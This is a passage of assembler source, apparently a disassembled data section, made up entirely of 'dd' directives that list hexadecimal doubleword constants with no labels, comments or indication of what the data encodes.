		dd 57F319D8h, 890C40C0h, 0C1FDCDF4h, 0E055AC71h, 7792C8FAh
		dd 0BAFB800Ch, 96D508EAh, 0FA3D8054h, 0D214694Fh, 3026A78h
		dd 7A91AA50h, 534DC51h,	184D25FEh, 0DCF3D8BEh, 0BA58DE1Eh
		dd 0B5F128C1h, 8922A30h, 7C3080DDh, 0E0012C95h,	0AE0FD5E1h
		dd 0C4D4F412h, 88C0093h, 59259A3Eh, 0AC0AD3E0h,	58BFF29Bh
		dd 92EF5240h, 798608FEh, 20EEB901h, 0F3F2EFCEh,	0B8FC0012h
		dd 444DC686h, 0D90340FDh, 8D499758h, 0EA7000F5h, 0A1F8E864h
		dd 0D70C8843h, 69E09C80h, 0B72D07F5h, 4C3EAD92h, 22B81310h
		dd 48440A00h, 187211F0h, 0E1ED5CF8h, 8100AD39h,	0E514AA9Bh
		dd 0F2007654h, 0A9FB6527h, 0E8DA21CDh, 0A7CDDh,	0F82551AEh
		dd 1B81F20Bh, 7DEDB3Eh,	39D507EFh, 504329C0h, 9A4A26E6h
		dd 73C70002h, 0B6972F35h, 28015400h, 299875FBh,	0B7650009h
		dd 0F7536490h, 0AEF8C40Ch, 2CB19907h, 4B672F4Fh, 435CBD50h
		dd 1B591F10h, 0A57B4241h, 0E9C089CEh, 9B280706h, 0B800E955h
		dd 5D0E227Ch, 9F6F82h, 74E2087Bh, 6C0D5C5Fh, 49D5C207h
		dd 0D3603E10h, 13332Dh,	5CF17815h, 275E8EEEh, 57682600h
		dd 6D25A4F7h, 0BCE10045h, 0D0D4472Eh, 84FC51B6h, 818E9C00h
		dd 11E7FBD8h, 378F65Dh,	6EE2A26Bh, 9025369Dh, 537EB7h
		dd 5CC9E97Ch, 42006CC5h, 7A790B81h, 305BCE08h, 0E130BFE3h
		dd 0D8C14D06h, 31A9B41Bh, 301CB6F4h, 92180871h,	0D7027F8Dh
		dd 3DC027A6h, 0E561004Fh, 233E2448h, 2C50AAC9h,	9089A310h
		dd 0C222DA40h, 0E419E959h, 4C34AD01h, 96C34B12h, 26115810h
		dd 8A32E480h, 0C6DA6C8h, 0BCB15940h, 84CDEB1h, 598262DDh
		dd 7710FE59h, 0E56440C6h, 0AC188042h, 3458B123h, 62DF7C44h
		dd 95725952h, 897D3110h, 0F3844C35h, 0D98062E8h, 7001847Bh
		dd 0A65FAE03h, 0FC5055B4h, 0C0CBABCEh, 4565FAA9h, 2500E9A8h
		dd 9ED22EEFh, 0E84FA7h,	0C778FB82h, 5C2B3696h, 7FA18E00h
		dd 0D3CCB66Bh, 0F39D0C42h, 0EE48FDC9h, 0CC87E5Ch, 0C8188D45h
		dd 4ACB00ECh, 27CD7A4Fh, 0E600B7EEh, 0C6304EBBh, 693F208h
		dd 43F425ACh, 5A00A006h, 78F79417h, 0F06CFCB6h,	36850C18h
		dd 0F8A89769h, 0E80BD900h, 620F4080h, 0F5C9031Eh, 1F9D59DCh
		dd 0F40089C6h, 0FB3FCE9Fh, 547DE339h, 0BF905Ch,	0DB63F77Bh
		dd 3DB69501h, 0E7E9D714h, 4FE10280h, 8FF9663Eh,	379B0E90h
		dd 39250807h, 944097E5h, 5149FCC4h, 0ACA10098h,	13CEA230h
		dd 1E1C3A32h, 9200C3DFh, 0F42D81B6h, 0F8B0059h,	38E1C584h
		dd 0CE002BC1h, 0FB4E3E85h, 6725A0h, 6A479A18h, 5DA47FC4h
		dd 8AFD2839h, 0ACE20329h, 0B809880Ch, 0AEA024ECh, 1FCC8008h
		dd 758536B1h, 0E35CAD1Dh, 2CD5A540h, 1548A739h,	8459AC7Ch
		dd 9B567B00h, 5D0814B0h, 19647D34h, 8E510580h, 0B4E00Dh
		dd 0EC1D0B87h, 0FDFC2E9Dh, 0A78C6C00h, 7B8F6141h, 1F9507DCh
		dd 0B0587E7Fh, 706382B6h, 0E153Ah, 5E6B85E8h, 0E9AB5Ah
		dd 4577F6F4h, 9EBCB0CAh, 7B92CE0Fh, 0B72FA054h,	9F1576Ah
		dd 7F1E9F91h, 0FE192B00h, 330FD444h, 0C0280241h, 0A56A9822h
		dd 0FC79758Bh, 7B2B0769h, 0FE8AF81Ah, 0D69C4800h, 40E61CE6h
		dd 0CC497D1Eh, 3A39B270h, 0AFF95B35h, 6FAF3B00h, 0E8F7A9FCh
		dd 58E7002Fh, 20BA630Ah, 68034D0Bh, 0FA891B84h,	708DE044h
		dd 0C290336h, 732A3561h, 313D1FB0h, 0E9AA1A0Eh,	77F4071h
		dd 37A5624h, 5B02E2DBh,	4ACBF661h, 596F581Ah, 57346108h
		dd 0F851C3F6h, 0EDB55DDh, 4550327Ah, 0E7000269h, 0E6193481h
		dd 79136C00h, 0B520C625h, 1038620Dh, 4953767h, 444D840h
		dd 4DFF884h, 8B85B9B6h,	0F7BDC0A9h, 77EE9A73h, 0D7A2DE00h
		dd 84B9E940h, 0D04B01DFh, 7AA98E7Ch, 0B373C4F1h, 0AB9A2201h
		dd 0C0613F1Ah, 0D362D0h, 414383CCh, 3D23C1A5h, 5D1B11Eh
		dd 9414017Ah, 1F1A86BCh
		dd 3DE80CE4h, 3A80EFA1h, 3037538Bh, 35006D0Ah, 42A38FC6h
		dd 657004h, 97DAC54Ch, 566F8A74h, 2292E41Eh, 636B3703h
		dd 0DD66B0DCh, 5C33EECh, 6090F9Eh, 36CAB4B3h, 5BE3A900h
		dd 0EBF32FCFh, 399402A5h, 0D05B9E6h, 0AFDA8880h, 8D002633h
		dd 0DE88C4B1h, 967634h,	9097EDB7h, 0F25C92CAh, 0DC91D400h
		dd 1EC5A135h, 9B04002Eh, 814DED54h, 0E2001979h,	59FB408Fh
		dd 389C39FCh, 9E802DF0h, 0C1EFE10Fh, 0C600E2D7h, 0FF9BE317h
		dd 0D69ABCh, 338B6A1Fh,	0F658A24h, 4F302700h, 3EE44089h
		dd 0C845003Fh, 6A9C74C0h, 2907315Eh, 954C4B3h, 2CA8DE90h
		dd 0E5F30FAFh, 7D202528h, 93F1134Bh, 783713Fh, 0D778405Fh
		dd 0BC5B4AE0h, 0F2340070h, 0D05696D5h, 0F600B984h, 0CE855962h
		dd 0E11D1F5h, 23FD6098h, 0BB3E66A0h, 0E4005E89h, 0B3EE0320h
		dd 106381Eh, 9DD09BA6h,	0D76A7309h, 0B4CE1A00h,	27D1C276h
		dd 6E18004Ch, 71038B94h, 8E749EBBh, 4F2BBC00h, 6AAAC8B8h
		dd 34C000E3h, 9A4D6362h, 0D400DC50h, 6D688B74h,	591A5Ah
		dd 8052263Fh, 0E22484CDh, 227D8900h, 51D2ADDh, 700D00DFh
		dd 0F0F2427Eh, 0AE002C76h, 27222085h, 0A20847h,	3F14D2BCh
		dd 69E88EFEh, 0E9000975h, 10646A38h, 829DBBh, 0D8787067h
		dd 0ACBD55D1h, 0B05C4400h, 93DC7E95h, 498E00DAh, 9ECBB315h
		dd 0EAFEFFB4h, 0E5E9F600h, 729FCEA7h, 0DB8F00FDh, 254837C9h
		dd 60042D1h, 0E524049h,	0FCF98E9h, 75121DABh, 0F43BFDA0h
		dd 64001E38h, 0B34C84D6h, 0B9854Eh, 5BEDE896h, 0FE8CAAF9h
		dd 0A669E700h, 0C144EED7h, 297E0161h, 0C8A13243h, 0C30FCABh
		dd 9049400h, 3736FAD7h,	0D86F00B2h, 62DB6B1Ch, 500FFC7h
		dd 0D5996E59h, 3BF0BA39h, 0DE82B6CEh, 90D1B94Bh, 7B0F04E0h
		dd 0AB646204h, 80AEE363h, 0B0237388h, 94826600h, 61D5A678h
		dd 8D300B3h, 1351C6C0h,	7C00853Dh, 7E30B9D8h, 0C876E4h
		dd 0C1A6A297h, 99754872h, 0A1DCE700h, 1BE202BCh, 522D039Eh
		dd 7869EC66h, 0D59273D0h, 0BD98DA00h, 7594F8E1h, 0E6A1D52h
		dd 797F0039h, 0F6FC3C55h, 2A3CE071h, 6F09802Ch,	0C6FB91DAh
		dd 8B210F16h, 5BA0DF51h, 5F887218h, 53AEAB00h, 0C2665CB3h
		dd 0CFE060h, 0DFCAA4F0h, 0B4E31238h, 7EA7E100h,	9C78AEFFh
		dd 4F5C00FBh, 24978BD6h, 1000DD25h, 12AB76Ch, 1CF6037Ch
		dd 0F965123Eh, 0DEE93F00h, 5E5FDD1Dh, 0FC47291Dh, 247A39C1h
		dd 9C3070B2h, 0B01900E6h, 0CCA53054h, 0C61EBA18h, 34402E4Bh
		dd 73538890h, 768009Eh,	0D76D79D1h, 30037E42h, 2BC3EB2Ch
		dd 0AAD480FDh, 0F09A7D01h, 0C9D80063h, 1CD027FEh, 42C3EB0Dh
		dd 0F8EAC0CEh, 0C2712Ah, 5122C558h, 9663500Bh, 5D94D500h
		dd 0E0C18BFEh, 0A2670065h, 6F8333F6h, 8128EF47h, 0C70088CFh
		dd 3A7B2345h, 35DCE7Fh,	0BA2698B6h, 0FBF08730h,	2750A147h
		dd 0B430F99Ch, 18B6F010h, 0CD361C60h, 3E4307EDh, 987D6063h
		dd 1403586Ch, 1F6826E6h, 5B0808Ah, 0BC72008Fh, 24D5948h
		dd 4200BBEBh, 3681AA07h, 19805BDh, 0ED02EA5h, 0CCB6A9FAh
		dd 0C200D3F8h, 0EA371E61h, 12E86B13h, 52811Ah, 45422A1h
		dd 4507A1C8h, 68955F9Ah, 1726DBA0h, 50AEF084h, 2CA1CFh
		dd 0B872554Bh, 94868991h, 53C1662Eh, 4A224F01h,	0FAE04BE0h
		dd 0F7013B87h, 1403FF00h, 0CC1D53B3h, 0E9E2BE00h, 2F767906h
		dd 28603F80h, 6FB7648Ah, 1B1788h, 0E57ACCE0h, 6A003E4Ch
		dd 0FF1E693Ch, 90B3A64Eh, 68C1005Ch, 71949231h,	0E10FF5EBh
		dd 615E6940h, 63A5D34h,	0B17FF0h, 0CE3FB8DCh, 10C1C451h
		dd 6412E703h, 0B8F1689Dh, 33DA74h, 0FB5B3AB1h, 0DD5F6BE2h
		dd 3DCBA02h, 407C1366h,	1B86E9Ah, 5C62B23Eh, 0C4E3CB32h
		dd 0EE013B08h, 4F1290E4h, 22C0836Ah, 0FBCA00BCh, 56168D29h
		dd 4800E725h, 47AF0F3h,	3CAB7799h, 390092C6h, 3A7CF1BCh
		dd 0A100423Bh, 970B6D1Eh, 1C440581h, 80073618h,	90CA1A25h
		dd 4F009A40h, 9E7E8315h, 0E4703BCh, 0D3FA5632h,	4DC684A0h
		dd 5500A622h, 0F579AB5Dh, 0F6AF0BD4h, 3A2B7C60h, 47009E0Fh
		dd 0A0497620h, 9C00F6F3h, 51113942h, 0FAFC50C5h, 0C819000Dh
		dd 9167E7A4h, 382E6DD7h, 5C030D79h, 0D84AF739h,	7211DFD0h
		dd 0A3A600CFh, 0B57589A4h, 487F36D3h, 21502400h, 97B03C4Eh
		dd 1DD40F61h, 0C1E5F779h, 0F8DC475Fh, 30BF607Eh, 2D002766h
		dd 78266961h, 605A3AA5h, 0E089A898h, 0A207A86Eh, 0A0963913h
		dd 0F21A8541h, 7000C8BCh, 0D9D1EB15h, 0D81C8BA1h, 0C5400F66h
		dd 0C93E72E5h, 0CAED0076h, 0A02A4828h, 0F27365A1h, 0F6C36E02h
		dd 814E6692h, 86AE67ECh, 9FF9B131h, 0B9F85883h,	0A878453Ch
		dd 21BC2E00h, 6D24F25h,	338A0C89h, 0A0C942D4h, 0C1784505h
		dd 0A91B1C7Eh, 0E575E1B8h, 8DEA60h, 0D7CE8861h,	5ACC66EBh
		dd 4D54420Bh, 1E2004Bh,	1EB78CFCh, 0C0E8E28Bh, 0B02E9AA6h
		dd 90921DCh, 5F5357h, 6804A9F1h, 0F3BF001Ah, 0B8E8BB79h
		dd 0C300ADA1h, 62C64014h, 15D998Fh, 384176C4h, 0C0B2E8F2h
		dd 190F523Fh, 80C6470Dh, 0AA73187Bh, 0CFAC0071h, 10B2721Eh
		dd 3D1E6BD5h, 5C006325h, 0A7616E35h, 85F400BCh,	23A0B4F1h
		dd 5100B7C2h, 7FB06620h, 141FFC46h, 90C1790Eh, 7ADE713h
		dd 20581C35h, 5F600241h, 0FA395D7Dh, 8EF2B8F5h,	4017C432h
		dd 0DA617234h, 941D506Fh, 4C7F23Dh, 0E47F80F4h,	14509009h
		dd 0EF7CF312h, 3E0324F4h, 8D932C45h, 9D2BC0C5h,	505A0051h
		dd 7F87D777h, 8600B052h, 0EE22B12Dh, 3DA70554h,	0FC9F5B37h
		dd 0F70C4C81h, 40F9F688h, 0C09A47F0h, 0E9644401h, 84204B33h
		dd 0CA34E07Ah, 9FE2F0B0h, 5B182570h, 0F6A90CC3h, 1AB126A1h
		dd 1FC222Fh, 574E17CBh,	0DC9596BAh, 7E0C85CAh, 202BE3F5h
		dd 488F03BDh, 127984C5h, 0B5D6BA80h, 9D1FE903h,	1C49DBh
		dd 0AA4D4158h, 844AF9Ch, 4CE22900h, 0AB17064h, 2119012Dh
		dd 37CC7439h, 3F0D8EFh,	4C810524h, 0EAB0FE80h, 3118DB8h
		dd 781B6D1Ch, 0B9E0D13Eh, 143B1FEDh, 61570088h,	0CE501E9h
		dd 447000BCh, 436D90BBh, 9A003436h, 846E4E18h, 23E7AEh
		dd 0C2F71D8Ch, 671076C3h, 1CCAC8EFh, 3A00A398h,	0F7D124B6h
		dd 10ACFA3h, 0A6854CB8h, 0C09ED34Dh, 560EE704h,	40DC16A0h
		dd 9A9B59CFh, 3C7300A6h, 0BF425C4Fh, 632E3A4h, 63E9307Eh
		dd 0B404B856h, 0EE89065Ah, 1009FB7Ah, 32DF3D1Fh, 0D78C0F80h
		dd 77911AD8h, 9BCD0001h, 0A22462A7h, 750585EBh,	0B813D1C1h
		dd 0C02AC003h, 9D0CF7Eh, 1F0F2E49h, 0F4B73Dh, 2DF5E3B0h
		dd 920FDDF7h, 6072CC5Bh, 0EDA2053Fh, 0C0CB633Eh, 9100095Ch
		dd 31EEB814h, 0EC13FCh,	48A163BAh, 0B97BBD42h, 0B386A602h
		dd 0E0896905h, 57CFBFBh, 0FF2094DBh, 0FB1FA7h, 9A1CE722h
		dd 4B01F6EDh, 16887C44h, 67C45255h, 596806F3h, 283E8E9Ch
		dd 0CE002C78h, 26BFAA81h, 0B2523Dh, 3C844830h, 0AD1AE247h
		dd 908C5A12h, 9AE100AEh, 0E0678BDDh, 0D18D5500h, 1A4B13E1h
		dd 26EC00C6h, 0B711B2C7h, 2AF0BBE3h, 78A84Ch, 6744668Bh
		dd 86432h, 0DBC0F311h, 55EB14ECh, 0CE2AEF01h, 0AD9EF7C2h
		dd 630048BEh, 3807E030h, 0CC0050BAh, 0D2ED93CEh, 4CA60B91h
		dd 56004295h, 38ABB169h, 8100A857h, 2C494A63h, 0E368E7h
		dd 3AE0A7DAh, 0F7944F87h, 4288BD00h, 0FFC15F19h, 3F6B001Bh
		dd 9B4EE909h, 0F1004489h
		dd 318A2EDAh, 1C306Eh, 0F5C6965h, 76863352h, 0C5A90400h
		dd 62394908h, 0BF050058h, 0D29F6F40h, 970078FCh, 25F6148Eh
		dd 1B04D69h, 57858773h,	0D4D4C903h, 0FE01E8BEh,	8F4F2B38h
		dd 55DAFD4Bh, 14925F40h, 39007D79h, 4F80DB54h, 1C5897CBh
		dd 8034FC4Ch, 0A72309D2h, 26006E0Bh, 71AF91D8h,	6C7380h
		dd 0C61D4AC4h, 0B3DC0D23h, 185A2C00h, 3AA17A13h, 155C0066h
		dd 25799DDBh, 5800C36Dh, 26A6B0ADh, 241B1C9Fh, 0B9FD75h
		dd 84503B36h, 45009C93h, 0B2834914h, 1F3C997h, 9443EC55h
		dd 0DCBF4BE5h, 0E00EA562h, 60B777B8h, 6F9CDC76h, 0D3D0097h
		dd 0BB067D3h, 4601DD72h, 0F2AC1CA7h, 65603027h,	1F5D0096h
		dd 54EAF1FDh, 3E0CCDF3h, 2011C0CAh, 3A6B0A46h, 78205D72h
		dd 0D6434850h, 95A9660Eh, 0C2F56E40h, 9005859Ch, 0BC3B45A1h
		dd 0F909E7C0h, 0E79303D0h, 32CF715Ah, 72FE4803h, 0E09C6884h
		dd 7136365h, 0F5AAF3D5h, 8580316Fh, 43E88FD7h, 0FDC167BCh
		dd 0E5DA7051h, 301A0F60h, 0A6086FBEh, 0BB007A18h, 0E3BC3AF9h
		dd 3CC1AB04h, 0E20083BAh, 55E7528Ah, 6600A619h,	0CECF59F9h
		dd 1F6FE4D3h, 9569E8h, 289AC632h, 9700F36Dh, 0B2CAEEA9h
		dd 3042AE9Dh, 4DB06A67h, 5A00246Ch, 58D0FE22h, 0EAF299h
		dd 81D56665h, 828B0ECEh, 0B062C102h, 99A08DF0h,	0E5F80C80h
		dd 0C09D46CBh, 2DEF6119h, 85943FF4h, 41C3CD9Eh,	64B50DA9h
		dd 6F9DE025h, 0BAD01C0Eh, 56FAA008h, 0F8786CC5h, 7B9E27Fh
		dd 0A33EDECh, 5302FE9Bh, 0A080BCBEh, 36286866h,	0AFC55400h
		dd 33C7DC7Eh, 0B117240Bh, 0D03B8024h, 3CA686FAh, 3D8420A5h
		dd 0EB30CA23h, 0C2F8F0B1h, 7838313Eh, 2F622E02h, 0A0884770h
		dd 968371CCh, 137D66h, 26BE75FBh, 0ECF5FB0h, 29DCF150h
		dd 310A5509h, 7D2AF0F7h, 0A4200378h, 9C1183ACh,	0E02F4800h
		dd 15A396E3h, 2E6D0F98h, 64409F18h, 0F35C03A5h,	0ED28A661h
		dd 78806846h, 1819B338h, 0E67857E7h, 6AA79407h,	2D253098h
		dd 7C048680h, 556024D6h, 0BE578920h, 1B6F7400h,	300308Dh
		dd 0BD26D76Eh, 72C9E3Ah, 3998CEF1h, 24EE43A1h, 4311B6B0h
		dd 0A193B1Eh, 9CDBCA02h, 2B37E037h, 0C8D900D8h,	0A1B5113Dh
		dd 0A0C0626Eh, 6B74948Eh, 97758Ah, 0EABDFEC4h, 0FCC5230Dh
		dd 77570302h, 80D2A232h, 0D4B8F3C0h, 0DE9D001Ah, 0E9185872h
		dd 6524801Bh, 9E0C58F4h, 2F3B05Dh, 0A070E705h, 7461AF3Ah
		dd 4518805Fh, 129BB332h, 231900E5h, 0BFD7B875h,	4E03B269h
		dd 0B1AFE3D8h, 1BE890A9h, 0EF84A883h, 5A635C54h, 0FAB85A0Fh
		dd 7ACA5B00h, 400CC0E0h, 80144BE4h, 69E1207Ch, 175A2100h
		dd 0B17FB0E6h, 2F890CBEh, 0FB515237h, 8F01D001h, 22C2C8BCh
		dd 29DDC661h, 5318E8h, 0C9ABAB4h, 0A2D33A8Eh, 0EBD0A560h
		dd 0E691E5h, 0C22E1B03h, 0DA94C511h, 0B3164903h, 39BC4D5h
		dd 5B72C07Ah, 30EFF6B6h, 186E2FA8h, 330F5DE6h, 0C0C50BEDh
		dd 324E7875h, 0D3F918E4h, 2FE931B7h, 3A954900h,	852CE525h
		dd 4CA00015h, 2DD684F0h, 801FF7B3h, 1A1D24F6h, 70CAD99Dh
		dd 38084Dh, 7CEEC4B7h, 6036F56Bh, 74EC4899h, 0B629B4E9h
		dd 0AE9220CAh, 77C60CEFh, 9038E031h, 1455A9CCh,	0D07C58B1h
		dd 0AC298109h, 9A380DDDh, 31092BD7h, 0EBCF8430h, 888C63F0h
		dd 3A794457h, 0D915502Ah, 64C238C9h, 6C307539h,	5D2D02E8h
		dd 2E5B699h, 0E79F291Eh, 0BE4C8A1Ch, 0D15CE230h, 282C6898h
		dd 3A01B3E4h, 5A39A2C5h, 9C5AEAB0h, 0F1B25F08h,	15C40CC3h
		dd 383039D8h, 5263E4C2h, 0AACEC30h, 0A5B95A0Eh,	0C73FE230h
		dd 6DF6485h, 0F860CCE4h, 18BA56h, 5F3FFDBBh, 2E52645h
		dd 0B4F243ACh, 14983296h, 0DB14037Dh, 802C5287h, 0B4C1208Ch
		dd 7E313FF6h, 98AFB698h, 0D21FCA99h, 382B9BABh,	24A1CF8Ah
		dd 356C62h, 8746F696h, 0ABBC5607h, 0E201944h, 0AE54FA38h
		dd 34F31148h, 5E4C8251h, 42BC80FDh, 62768747h, 0AE369869h
		dd 0BF865900h, 0C0DA243Ah, 0C8760A6Ch, 5B6FE250h, 592C2C98h
		dd 88B0A0A7h, 8C7E1B0Bh, 0B6BC0C03h, 3E5AACA1h,	0D8E31680h
		dd 819F3D6h, 0FA11EE96h, 4984F192h, 6C01BC4Ch, 0D0551339h
		dd 0B80ADA99h, 0A4C81A3Ah, 46EC025Ch, 48554595h, 1F80848Fh
		dd 12F68724h, 71D07C50h, 5BA93A0Ch, 1E1A70BCh, 9538E9ACh
		dd 6BC26C30h, 7E246861h, 9492CC03h, 0CBF8600Fh,	0B0A70AA2h
		dd 1899828Ch, 0EDCC9190h, 5158E4B0h, 0AC3128A4h, 0DCD5381Bh
		dd 0B77490A3h, 30171588h, 0CEB78C1Ch, 478EDD09h, 0C2709C85h
		dd 54044F70h, 9796C30h,	0B55BAB69h, 400588BEh, 549D7644h
		dd 0CE02AC42h, 811C6507h, 20A15CA6h, 0A9905323h, 14B69929h
		dd 4AF1ED81h, 0F9806EE3h, 0AE787668h, 0D77389CEh, 0FA03C047h
		dd 5B8B1CF3h, 0BA86F13Dh, 0B1E05A0h, 1860CCE6h,	30556612h
		dd 0DFE9A2C8h, 0BFE8A0A4h, 145E88Eh, 7B955E44h,	41A74CCEh
		dd 4C234D8Fh, 0C6185F14h, 2CB1D482h, 36FA15E4h,	8D803CCDh
		dd 5A140BA3h, 79A0C80h,	82ED36F2h, 0CBAD42FDh, 40A81898h
		dd 0B8C2818h, 0EAEC80h,	36EDF53h, 90AEDDF6h, 0B683CB1Eh
		dd 16D3141Ch, 9AAC028h,	867DD7C8h, 98CC9900h, 2E2CDDF8h
		dd 0AC007808h, 7683CA05h, 2C40D28Ch, 0B0069C0h,	7A436E45h
		dd 3CCBACCEh, 9452DDFFh, 21822581h, 680CC328h, 0A0FA318Ch
		dd 18F852BBh, 0A3480781h, 0C0A0F28Ch, 0AD35585Fh, 55D053Ah
		dd 0DDFD2D4Dh, 7BD1F42Ch, 0E4DA14D3h, 0BA30C879h, 93570D38h
		dd 0C0B80B52h, 894973EEh, 0D82C805Bh, 14ED30C9h, 0F02009E0h
		dd 0ECA42C5Dh, 75788A0Ch, 8122918h, 0C670EC21h,	0B855EDA8h
		dd 0BB81DC85h, 920299Ah, 4079CC00h, 748D3524h, 317E4A50h
		dd 0AC5932BCh, 0E504B57h, 0EA4C27E8h, 8C02C40Ch, 0B8DE2DB5h
		dd 15906328h, 0ACCCC1ABh, 0CDA87230h, 0DE002E89h, 0B020EEDh
		dd 0F175D60Dh, 0A0BD5FD0h, 58C9E4FCh, 74B06483h, 0E72C0BAAh
		dd 0A89818A1h, 0C6544D78h, 40FEAD08h, 0B556361Dh, 9262D60Eh
		dd 5D14438h, 9CB3D37Fh,	0A3C40220h, 0A4450B0Ah,	2D162A87h
		dd 14E841F6h, 0B05CB40Ch, 0B673120Ah, 1F1BE050h, 64403B63h
		dd 2A6C05ECh, 0CFC1CDDEh, 41B502E4h, 69C005ECh,	49EC9540h
		dd 0E81CEC99h, 7737037Dh, 86821EDCh, 1BE0928Bh,	43033EE3h
		dd 9CAA68D5h, 6212E84Dh, 4B4700E9h, 9285C59Dh, 23006B10h
		dd 0FFEC5793h, 3E7E2EC6h, 50608B5Fh, 910955BEh,	0B67AD200h
		dd 0C9997290h, 1E898FBh, 818CE476h, 0F85E0365h,	7E000D0Eh
		dd 9FF297CFh, 1E91086Bh, 438AAF92h, 90BA2D52h, 0E18117C1h
		dd 68D4C432h, 0DB73EA1Dh, 118C8A0Ch, 0B0FE6382h, 0CAE0FDE5h
		dd 0CD784347h, 6FD24E06h, 19C0C52Ah, 20C30FCBh,	0F1644C6Ch
		dd 0AC84AA00h, 2B5F7934h, 0DC700DEBh, 0D0D0309Eh, 9000BB1Bh
		dd 86458F32h, 149BA652h, 9457DFF2h, 78F16A18h, 7148ACEAh
		dd 0A8240AA8h, 3B873086h, 5D30DDCFh, 544B5F78h,	7454BC11h
		dd 9B7E1871h, 5B3450BDh, 61D2860Ch, 78AD0850h, 0BA320126h
		dd 4F9EE2ABh, 0BD7080F7h, 772B47E8h, 2D12075Dh,	45105641h
		dd 426C30E6h, 4331071Fh, 0B1EB7868h, 31BE708Ch,	32603EE0h
		dd 0C0671F78h, 3A9E000Dh, 10729158h, 2A5668F9h,	59260528h
		dd 0F8436A9Dh, 19760F0Bh, 0C81EF348h, 5E58808Ah, 0F286B21Dh
		dd 99A13B20h, 9A15A700h, 12E82272h, 82304D18h, 0E997FBE0h
		dd 0C41C7EE4h, 83BC1710h
		dd 98742504h, 5F086361h, 7FF09446h, 308362FAh, 890485D1h
		dd 58B25C91h, 4C308447h, 74C59EE8h, 67DE1E4Fh, 0BAFE004Eh
		dd 90BFF2D8h, 0E548D963h, 24FFC092h, 1560C09Ah,	464ACF01h
		dd 0CA16DA07h, 2A4734A6h, 30083BC6h, 0AE18354Bh, 0B22890B5h
		dd 4CE8942Ch, 5230A378h, 8E92188Bh, 5BD0F9ECh, 9A08C75Ah
		dd 5532815Eh, 0FB2020D7h, 121F2490h, 520C5DE8h,	922033h
		dd 2ACD7CFFh, 0ACDEDD6Bh, 8C08CC63h, 0E78EBF56h, 6DF6A35h
		dd 63202364h, 0D32C085Ah, 3A493133h, 0C3F6F18Ch, 0E888BC70h
		dd 0B8F93C4Ch, 100B2C1Bh, 8F3749A1h, 80F7DF58h,	201BA96Ch
		dd 18CA0052h, 11FC482Fh, 0A500C743h, 4AC93FE4h,	0F147491Fh
		dd 23E7B0F7h, 0F0E4F94Dh, 88280ED2h, 0C880D358h, 0A74A0310h
		dd 0F3D343Ah, 602DC87h,	0F18EA27h, 48462F47h, 8708A40Ch
		dd 0C0DAB037h, 140A8B40h, 7209C0A9h, 43F222A4h,	1200AC74h
		dd 0B2235C9Bh, 550EA1h,	0C23FC453h, 6959DB2Ch, 0FF152D00h
		dd 850189B7h, 7C121884h, 701BE87Bh, 0EF03ECE8h,	0C6ACC7CEh
		dd 63D07E46h, 47BAC041h, 0DB7589C1h, 7FEC29E0h,	40FA30C7h
		dd 440BAC41h, 6A969040h, 41D2185Eh, 4F37207Dh, 0BA88D50Eh
		dd 7BA88095h, 0B0693FEBh, 0B348C00Ch, 0B6C74262h, 7AA918C3h
		dd 8709E04Fh, 0F40A12B9h, 38B3E095h, 0D31EEE74h, 8F3CE833h
		dd 855C5E48h, 0E40561E0h, 0D4073490h, 2C876FB0h, 6CC168F7h
		dd 89F7405h, 0B13E207Eh, 360C086Eh, 69710C66h, 647C8D18h
		dd 6D79AC18h, 0C9191E10h, 18013E08h, 902270CCh,	37C2308h
		dd 8CC3F136h, 0CA092E1h, 0F0C6F787h, 1F089370h,	14DE352Eh
		dd 8C2EDC74h, 33C28DFh,	2CDF0646h, 500612A2h, 874310E4h
		dd 0C74A0096h, 0E740296Dh, 0C0A04E5Ah, 2838FF0Bh, 54F85008h
		dd 22B32005h, 0EC7738D2h, 6B4CCDA0h, 848B00FDh,	19B21332h
		dd 8F05BE08h, 977F0CDCh, 0A508F414h, 366B0280h,	89006h
		dd 19B35AD2h, 550935A8h, 848CBECh, 34A02424h, 203E120Ah
		dd 0DAA6EE60h, 78FE624Dh, 88020DF2h, 0B14993Fh,	6E92ECDCh
		dd 0BD8068A6h, 78281A5Fh, 476830C0h, 480CC238h,	6C0944BFh
		dd 2C027ACBh, 0F704A616h, 31094080h, 7F08CC41h,	9648C910h
		dd 0B2E90C48h, 40B93046h, 4560A144h, 5F31F6F0h,	97B00492h
		dd 835108D5h, 94BA4844h, 205A45C1h, 0B7FA29DCh,	0C01248DFh
		dd 5021D404h, 945483h, 0BA5DC908h, 0E9CEB40Ah, 0B6335312h
		dd 0E5934807h, 4B435CD7h, 3C1854E1h, 6914324Ch,	4460B408h
		dd 18D05BECh, 0D10C51FCh, 3E542417h, 0CC193C90h, 0C70866C9h
		dd 0B8AC3884h, 6483060Ch, 55C9229h, 8CDF0571h, 12EC1D65h
		dd 0E241E04h, 4C8F138Dh, 0B30CD8F4h, 3B4818F2h,	952608DFh
		dd 60720C86h, 2C8F4018h, 0EC082D63h, 74191868h,	0D1EEA0D6h
		dd 3CE4F0E9h, 40DE9C9Ah, 9844A813h, 660EF798h, 8C541090h
		dd 60D8D937h, 32215349h, 990FF4Ch, 82D7F8A7h, 0C3C20A6Ch
		dd 88C0CCC9h, 0A1EDEEE8h, 9434C4B4h, 346C4C7Ch,	79119B37h
		dd 6BA98401h, 699A02D2h, 2085B6A0h, 0FEF909h, 552C1ED8h
		dd 8C0A533h, 540D7A13h,	10BAE7F3h, 297EE28h, 227675F2h
		dd 0A4493D72h, 0EC8C20F6h, 0A0C56028h, 8C3B1006h, 89872h
		dd 13EA3F2h, 0EAD6E14h,	286DB424h, 0F0043200h, 74C41254h
		dd 0E056F0F1h, 6F731955h, 30E00807h, 3D49F2C8h,	89FCCE84h
		dd 0E9F5809Fh, 9843B28Dh, 0E7108894h, 0A29D3804h, 52019448h
		dd 0C819ADDCh, 0BB4800AFh, 0C0EC992Ch, 6A7C67CCh, 8DEA4D09h
		dd 0AC860A72h, 2F1E9401h, 84510408h, 0EC45CA6Eh, 5A9E428h
		dd 13A5356Fh, 210C828Ah, 4992068h, 0C76AD0C5h, 0C6E88C07h
		dd 0DDCA3241h, 98178442h, 4C847F24h, 328628BCh,	45324999h
		dd 405AC0B3h, 90EB2C70h, 160C2964h, 93678120h, 11B3953h
		dd 8047A8D2h, 0B07AFB32h, 189F3B94h, 0F04E36A9h, 7C4811F2h
		dd 90E801FCh, 0BA1528D5h, 92391020h, 240B59E0h,	1F3DA712h
		dd 4CC6668h, 81625C4Ch,	0A861807Ch, 0C9F08099h,	7B28D066h
